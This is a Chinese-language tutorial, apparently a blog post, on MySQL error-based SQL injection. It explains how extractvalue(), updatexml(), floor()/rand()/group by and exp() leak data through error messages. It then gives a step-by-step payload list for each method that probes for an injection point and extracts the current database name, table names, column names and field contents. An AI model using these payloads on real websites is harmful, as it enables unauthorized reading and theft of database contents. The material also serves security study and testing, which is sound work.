12、SQL注入——SQL报错注入

一、报错注入概述

1.1 报错注入

通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号名、用户名等)通过页面的错误提示显示出来。如下图:
在这里插入图片描述

1.2 报错注入的前提条件

  • web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;
  • 后台未对一些具有报错功能的函数(如extractvalueupdatexml等)进行过滤。

1.3 相关报错函数

(1)extractvlue()(Mysql数据库版本号>=5.1.5)

  • 作用:对xml文档进行查询,相当于在HTML文件中用标签查找元素。
  • 语法:extactvalue(XML_document, XPath_string)
    参数1:XML_document是String格式,为XML文档对象的名称。
    参数2:XPath_string(XPath格式的字符串),注入时可操作的地方。
  • 报错原理:xml文档中查找字符位置使用/xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错并且会返回写入的非法格式内容,错误信息如:XPATH syntax error: ‘xxxxx’
  • 实例: 在这里插入图片描述

    注:该函数的最大显示长度为32,超过长度可以配合substrlimit等函数来显示。

(2)updatexml()(Mysql数据库版本号>=5.1.5)

  • 作用:改变文档中符合条件的节点的值。
  • 语法:updatexml(XML_document, XPath_string, new_value)
    参数1:XML_document是String格式,为XML文档对象的名称。
    参数2:XPath_string(XPath格式的字符串),注入时可操作的地方。
    参数3:new_value,string格式,替换查找到的符合条件的数据
  • 报错原理:通extractvalue()
  • 实例:
    在这里插入图片描述

    注:该函数的最大显示长度为32,超过长度可以配合substrlimit等函数来显示。

(3)floor()、rand()、count()、group by联用

  • 作用:
    • floor(x):对参数向下取整
    • rand():生成一个0-1之间的随机浮点数
    • count(*):统计某个表下总共有多少条记录
    • group by X:按照by一定规则(x)进行分组
  • 报错原理:group by和rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将就算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如下:Duplicate entry '...' for key 'group_key'
  • 实例:
    在这里插入图片描述

(4)exp()(5.5.5< = MYsql数据库版本<=5.5.49)

  • 作用:计算以e(自然常数)为底的幂值;
  • 语法:exp(x)
  • 报错原理:当参数超过710时,exp()函数会报错,错误信息如下:DOUBLE value is out of range:…
  • 实例
    在这里插入图片描述

(5)Mysql数据库报错功能函数汇总
在这里插入图片描述

二、报错注入payload

2.1 利用extractvalue()函数进行报错注入

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select extractvalue(1,concat('~',(select database())))) --+ //爆出当前数据库名
id=1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))) --+ //查看数据库中的表
id=1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')))) --+ //查看表中的字段名
id=1' and (select extractvalue(1,concat('~',(select group_concat(concat(字段1,'%23',字段2))))) --+ //查看字段内容

2.2 利用updataxml()函数进行报错注入

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select updatexml(1,concat('~ ',(select database()), '~'),1)) --+ //爆出当前数据库名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'), '~'),1)) //查看数据库中的表
id=1' and (select updatexml(1,concat('~ ',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'), '~'),1)) //查看表中的字段名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(concat(字段1,'%23',字段2))), '~'),1)) --+ //查看字段内容

2.3 利用floor()函数进行报错注入

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select 1 from (select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a) --+ //爆出当前数据库名
id=1' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),floor(rand()*2))x from information_schema.tables group by x)a) --+  //查看数据库的表名
id=1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'),floor(rand()*2))x from information_schema.tables group by x)a) --+  //查看表中的字段名
id=1' and (select 1 from (select count(*),concat((select group_concat(concat(字段1,'%23',字段2))),floor(rand()*2))x from information_schema.tables group by x)a) --+  //查看字段内容

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值